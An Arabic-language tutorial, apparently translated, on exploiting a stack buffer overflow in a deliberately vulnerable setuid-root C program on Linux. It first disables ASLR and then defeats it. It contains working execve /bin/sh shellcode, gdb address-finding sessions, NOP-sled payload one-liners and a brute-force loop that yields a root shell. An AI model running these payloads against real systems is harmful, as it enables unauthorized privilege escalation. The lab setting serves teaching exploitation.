مقال : إستغلال ثغرات Buffer Overflow وحقن Shellcode
في هذا المقال سوف نتعرف على كيفية الحصول على shell من خلال استغلال ثغرة buffer overflow. وسوف نعرض ذلك في حالتين: عندما يكون ASLR غير مفعل وعندما يكون مفعل (إن كنت لا تعرف ما هو ASLR فسوف نتحدث عنه لاحقاً في هذا المقال). يمكنكم الإطلاع على هذه المقالات التي تتكلم عن ثغرات Buffer Overflow:
مقال : نبذه قصيره عن Buffer Overflow
مقال : مدخل الى ثغرات الفيض Buffer Overflow
المتطلبات
يجب أن تكون على معرفة بأساسيات لغة البرمجة C وعلى معرفة باستخدام تعليمات نظام لينكس واستخدام المجمع compiler gcc وبعض أساسيات X86 assembly. يوجد العديد من المصادر على الانترنت والتي يمكنك من خلالها التعرف على الأمور السابقة.
كما يجب أن تكون على معرفة مسبقة بتصميم الذاكرة الخاصة ببرنامج مكتوب بلغة البرمجة C وعلى معرفة بأساسيات ثغرات buffer overflow .
السيناريو
لدينا وصول إلى نظام يحوي على ملف ثنائي تنفيذي مملوك من قبل حساب root وله suid bit ومصاب بثغرة buffer overflow. سوف نقوم بعملية الاستغلال من أجل الحصول shell تمكننا من الوصول إلى النظام الهدف. يمكنك التعرف على suid bit من الرابط التالي : هنا
إعداد بيئة الاختبار:
1- إنشاء حساب بدون صلاحيات له الاسم test.
[sudo] adduser test
2- إعداد البرنامج المصاب بالثغرة ضمن المجلد الخاص بالمستخدم test.
#include <stdio.h>
#include <string.h>void func(char *name)
{
char buf[100];
strcpy(buf, name);
printf(“Welcome %s\n”, buf);
}int main(int argc, char *argv[])
{
func(argv[1]);
return 0;
}
3- القيام بعملة التجميع compile لتحويل الملف السابق لملف تنفيذي.
For 32 bit systems
[sudo] gcc vuln.c -o vuln -fno-stack-protector -z execstack
For 64 bit systems
[sudo] gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack
fno-stack-protector- : تقوم بتعطيل حماية المكدس (تحطيم المكدس مسموح به الآن).
m32- : للتأكد أن عملية التجميع الثنائي compiled binary ستتم لأنظمة 32 bit.
z execstack- : لجعل المكدس قابل للتنفيذ (نريد تشغيل shellcode).
4- إعداد الصلاحيات:
[sudo] chown root:test vuln
[sudo] chmod 550 vuln
[sudo] chmod u+s vuln
والتأكد من ذلك باستخدام التعليمة التالية:
ls -l vuln
-r-sr-x— 1 root test 7392 Dec 22 00:27 vuln
ما هو ASLR
التعريف من Wikipedia :
ASLR – Address Space Layout Randomization
عبارة عن تقنية حماية خاصة بأجهزة الحاسب تتضمن الحماية من هجمات buffer overflow حيث يقوم وبشكل عشوائي بترتيب أماكن الفراغات في العناوين الخاصة بمصفوفات البيانات للعمليات وهو يتضمن بشكل رئيسي الملفات التنفيذية ومكان كل من المكدس و heap والمكتبات.
عندما يكون ASLR مفعل، فإن عناوين المكدس والعناوين الأخرى سيتم ترتيبها بشكل عشوائي وفي هذه الحالة يكون من الصعب جداً التنبؤ بالعناوين أثناء عملية الاستغلال.
من أجل إلغاء تفعيل ASLR نستخدم التعليمة التالية:
echo “0” | [sudo] dd
of=/proc/sys/kernel/randomize_va_space
ومن أجل التفعيل:
echo “2” | [sudo] dd
of=/proc/sys/kernel/randomize_va_space
حقن Shellcode
في الجزء الأول سوف نقوم بإلغاء تفعيل ASLR , سندخل إلى الحساب test باستخدام التعليمة التالية:
su test
بالتأكيد يوجد ثغرة في البرنامج vuln.c. التابع strcpy لم تحدد طول أعظمي أثناء عملية النسخ. لنقوم بعملية التفكيك للملف باستخدام التعليمة التالية:
objdump -d -M intel vuln
طبعاً النتيجة ستكون مختلفة لديك
يمكننا ملاحظة أن البفر يمتد على المساحة ebp – 0x6c. حيث أن 0x6c تقابل في نظام العد العشري القيمة 108 وهذا يعني أنه قد تم تخصيص 108 bytes كبفر ضمن المكدس و 4 bytes التالية ستكون مخصصة لحفظ قيمة المؤشر ebp و 4 bytes التالية مخصصة للعنوان المعاد.
عملية حقن shellcode تتم من خلال:
- إعداد أو كتابة shellcode التي سيتم حقنها.
- توفر المكان المطلوب لإدخال shellcode.
- إستغلال البرنامج من خلال ثغرة buffer overflow في المكان الذي تم حقن shellcode فيه.
لنقم بهذه الخطوات.
إنشاء shellcode
إعداد shellcode هو موضوع ضخم جداً ولا يمكن تغطيته في هذا المقال. سنقوم بإعداد shellcode يقوم بتوليد shell وله الاسم shellcode.nasm وله الكود التالي:
xor eax, eax ;Clearing eax register
push eax ;Pushing NULL bytes
push 0x68732f2f ;Pushing //sh
push 0x6e69622f ;Pushing /bin
mov ebx, esp ;ebx now has address of /bin//sh
push eax ;Pushing NULL byte
mov edx, esp ;edx now has address of NULL byte
push ebx ;Pushing address of /bin//sh
mov ecx, esp ;ecx now has address of address
;of /bin//sh byte
mov al, 11 ;syscall number of execve is 11
int 0x80 ;Make the system call
للقيام بعملية التجميع compile باستخدام nasm:
nasm -f elf shellcode.asm
ومن ثم يمكننا استخدام objdump للحصول على bytes الخاصة ب shellcode
objdump -d -M intel shellcode.o
استخراج bytes يعطينا shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\
x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
إيجاد المكان المناسب لحقن shellcode
في هذا المثال فإن البفر تبدو المكان المناسب، يمكننا حقن shellcode من خلال تمريرها داخل أول بارامتر أثناء تشغيل البرنامج vuln. ولكن كيف لنا ان نعرف عنوان البفر في المكدس, gdb سوف يساعدنا على ذلك. عندما يكون ASLR غير مفعل يمكننا التأكد من أنه ولو تم تشغيل البرنامج أكثر من مرة فلن يتغير عنوان البفر.
ما هو GDB (من الموقع الرسمي له):
هو debugger يسمح لنا برؤية ماذا يحدث داخل برنامج أخر أثناء تنفيذه أو ماذا يفعل البرنامج الأخر في اللحظة التي يتحطم بها. بإستخدام gdb يمكننا تشغيل عملية وإيقافها في أي لحظة مطلوبة وفحص الذاكرة والأمور الأخرى. لنقم بتشغيل البرنامج vuln باستخدام gdb:
vampire@linux:/home/test$ gdb -q vuln
Reading symbols from vuln…(no debugging symbols found)…done.
(gdb) break func
Breakpoint 1 at 0x8048456
(gdb) run $(python -c ‘print “A”*116’)
Starting program: /home/test/vuln $(python -c ‘print “A”*116’)Breakpoint 1, 0x08048456 in func ()
(gdb) print $ebp
$1 = (void *) 0xffffce78
(gdb) print $ebp – 0x6c
$2 = (void *) 0xffffce0c
لقد قمنا بضبط نقطة الإيقاف عند التابع func. ومن ثم قمنا بتشغيل البرنامج مع payload له حجم 116 للبارامترات. طباعة العنوان ebp – 0x6c تظهر أن البفر له العنوان 0xffffce0c.
ولكن هذا العنوان ليس بالضرورة أن يكون عنوان البفر عندما نقوم بتشغيل هذا البرنامج خارج gdb لأن متغيرات البيئة واسم البرنامج يتم إدخالهم إلى المكدس أيضاً.
بالرغم من ان المكدس يبدأ من نفس العنوان (لأن ASLR غير مفعل) ولكن الاختلاف بالطريقة التي يتم فيها تشغيل البرنامج سيؤدي إلى الحصول على عنوان مختلف للبفر. وهذه الإختلاف سيكون عبارة عن bytes قليلة وسوف نشرحها لاحقاً.
ملاحظة: حجم ال payload له تأثير على مكان البفر لأن payload أيضاً يتم إدخاله إلى المكدس (يعتبر جزء من البارامترات).
لقد استخدمنا الحجم 116 ، في حال استخدمت قيمة مختلفة عن هذه القيمة يجب أن تقوم بإيجاد العنوان الخاص بك.
نقل عملية التنفيذ من البرنامج إلى shellcode
وهذا هو أسهل جزء, نحن نملك shellcode في الذاكرة ونعرف العنوان الخاص بها (مع الاختلاف البسيط بالبايتات). البرنامج vuln مصاب بثغرة buffer overflow وهذا يمكننا من تعديل العنوان المعاد للتابع func.
إنشاء payload
لنثم بإدخال shellcode في نهاية سلسلة البارامترات وبالتالي العنوان سيكون مساوي للتالي: buf + some length
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\
x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
- حجم shellcode = 25 bytes.
- ونعرف أيضاً أن العنوان المعاد يبدأ بعد أول 112 bytes من البفر.
- سنقوم بمليء أول 40 bytes بتعليمة NOP.
NOP Sled
NOP – no operation
عبارة عن تعليمات تقوم بإزاحة سياق تنفيذ التعليمات في المعالج إلى نهاية التعليمات أو إلى مكان محدد في الوقت الذي يتم توزيع البرنامج لعناوين الذاكرة. في كل مرة يرى فيها المعالج التعليمة NOP يقوم بالانتقال إلى التعليمة التالية. سبب إدخال التعليمة NOP sled قبل shellcode لنتمكن من نقل سياق التنفيذ إلى أي مكان بحجم 40 bytes. المعالج سوف يحافظ على تنفيذ التعليمة NOP حتى يجد shellcode. يجب أن نعرف عنوان shellcode الصحيح مع الاخذ بعين الاعتبار المشكلة السابقة التي واجهتنا أثناء تحديد عنوان البفر. سوف نجعل المعالج يقفز إلى عنوان البفر (الذي حصلنا عليه من خرج gdb) مضاف إليه 20 bytes وهي منتصف حجم تعليمة NOP.
0xffffce0c + 20 = 0xffffce20
يمكننا ملئ 47 bytes الباقية (112 – 25 – 40) ببيانات عشوائية، الحرف ” A ” مثلاً, ليكون ال payload النهائي:
[40 bytes of NOP – sled] [25 bytes of shellcode] [47 times ‘A’ will occupy 49 bytes]
[4 bytes pointing in the middle of the NOP – sled: 0xffffce16]
لنقم بتنفيذه:
test@linux ~ $ ./vuln $(python -c ‘print “\x90″*40 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\
x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80″ + “A”*47 + “\x20\xce\xff\xff”‘)
Welcome ����������������������������������j
X�Rhn/shh//bi��RS��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���
# whoami
root
لقد نجح الاستغلال و حصلنا على صلاحيات root.
ملاحظة: في حال فشل عملية التقسيم segmentation حاول تغيير العنوان المعاد بإضافة -+40 عدد من المرات.
نجحنا باستغلال ثغرة buffer overflow وقمنا بتعديل العنوان المعاد ليشير إلى اقرب مكان لبداية البفر ضمن المكدس. البفر بدأ بتعليمة NOP sled ومن ثم shellcode التي تم تنفيذها.
تذكر أننا قمنا بذلك عندما كان ASLR غير مفعل وهذا يعني أن بداية المكدس لن تكون عشوائية في كل مرة يتم فيها تنفيذ البرنامج وهذا سمح لنا بتشغيل البرنامج ضمن gdb لمعرفة عنوان البفر. تأكد من فهمك لك الخطوات السابقة قبل الانتقال للقسم الثاني.
Shellcode Injection with ASLR
يمكننا تفعيل ASLR وتنفيذ الاستغلال السابق، لقد حدث تغيير كبير لذلك لن تنجح عملية الاستغلال السابقة. لنبدأ بمحاولة فحص بعض الأشياء، ولنقم بإعداد برنامج ليقوم بطباعة العنوان المتغير الذي يتم حفظه في المكدس.
#include <stdio.h>
int main()
{
int a;
printf(“%p\n”, &a);
return 0;
}
لنقم بعملية التجميع compile للكود السابق ومن ثم لنقم بتنفيذه لأكثر من مرة:
test@linux ~ $ ./stack_addr
0xffe918bc
test@linux ~ $ ./stack_addr
0xffdc367c
test@linux ~ $ ./stack_addr
0xffeaf37c
test@linux ~ $ ./stack_addr
0xffc31ddc
test@linux ~ $ ./stack_addr
0xffc6a56c
test@linux ~ $ ./stack_addr
0xffbcf9bc
test@linux ~ $ ./stack_addr
0xffbcf02c
test@linux ~ $ ./stack_addr
0xffbf1dcc
test@linux ~ $ ./stack_addr
0xfffe386c
test@linux ~ $ ./stack_addr
0xff9547cc
كما تلاحظ فإن العنوان يتغير في كل مرة. هذا العنوان يمكن أن يتم تمثيله بالشكل التالي 0xffXXXXXc (حيث أن x تمثل عدد سته عشري) يمكننا ملاحظة أن الجزء الأيمن من هذا العنوان هو الذي يتغير (باستثناء c في النهاية) بشكل عام يمكننا اعتبار العنوان بالصيغة التالية: 0xffXXXXXX. عدد الاحتمالات هو 6^16 = 16777216. في الطريقة السابقة فإن عملية استغلال المكدس كانت تعمل فقط مع 40/16777216 احتمال (40 هو الحجم المخصص ل NOP sled وإذا حدث ووجد أي من هذه البايتات في مكان تعديل العنوان المعاد فسوف يتم تنفيذ shellcode). هذا يعني أن معدل التشغيل هو 1/419431.
هذ الأمر مربك بعض الشيء، الأمر المهم هنا هو أن الإحتمال يعتمد الحجم الخاص ب NOP sled ومن خلال زيادة هذا الحجم يمكننا تنفيذ ال shellcode بإحتمالية أكبر ولكن حجم البفر محدود، يمكننا زيادة الإحتمالية حتى لو استخدمنا بفر ممتلئ. نحن بحاجة لإيجاد مكان أخر لنحقن فيه nop sled + shellcode (تعديل الخطوة الثانية من الخطوات الثلاثة السابقة)
لدينا خيار أخر وهو متغيرات البيئة environment variable. يمكننا حقن nop sled + shellcode في متغيرات البيئة. تذكر دائماً أن هذه المتغيرات يتم تحميلها إلى المكدس بالإضافة إلى أن الحجم المخصص لها كبير. في جهازي سوف أقوم بإنشاء NOP sled 100000.
لنقم بإعداد shellcode خاص بمتغيرات البيئة:
export SHELLCODE=$(python -c ‘print “\x90″*100000 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80″‘)
ولنقم باختيار عنوان عشوائي في مكان ما في المنتصف وليكن 0xff881111. ولنقم بتشغيل البرنامج vuln للسيطرة على العنوان المعاد ولزيادة الاحتمالية بالنجاح سنقوم باستخدام حلقة for.
test@linux ~ $ for i in {1..100}; do ./vuln $(python -c ‘print “A”*112 + “\x11\x11\x88\xff”‘); done
وبعد عدد من المحاولات سوف نحصل على shell
Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
Segmentation fault
Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
Segmentation fault
Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
Segmentation fault
Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
Segmentation fault
Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
# whoami
root
#
رائع!! نجحت عملية الاستغلال وحصلنا على صلاحيات root. إذا كان جهازك لا يدعم حجم كبير من NOP sled يمكنك استخدام البحث الثنائي لتختار الحجم الأعظمي المتاح.
الجدول التالي يظهر الاحتمالية لكل حجم:
Size of NOP Sled— | Probability of shellcode execution— | Average no of tries needed to succeed once |
---|---|---|
40 | 2.38418579102e-06 | 419431 |
100 | 5.96046447754e-06 | 167773 |
500 | 2.98023223877e-05 | 33555 |
1000 | 5.96046447754e-05 | 16778 |
10000 | 5.96046447754e-04 | 1678 |
100000 | 5.96046447754e-03 | 168 |
لقد استخدمنا العنوان المعاد للتحكم بتنفيذ البرنامج، يوجد عدة هجمات أخرى محتملة يمكن القيام بها.
ترجمة لمقال : Shellcode Injection لصاحبها Dhaval Kapil.
يوجد مثال عملي على ثغرات Buffer Overflow لاتترددو بقرائته وتطبيقه.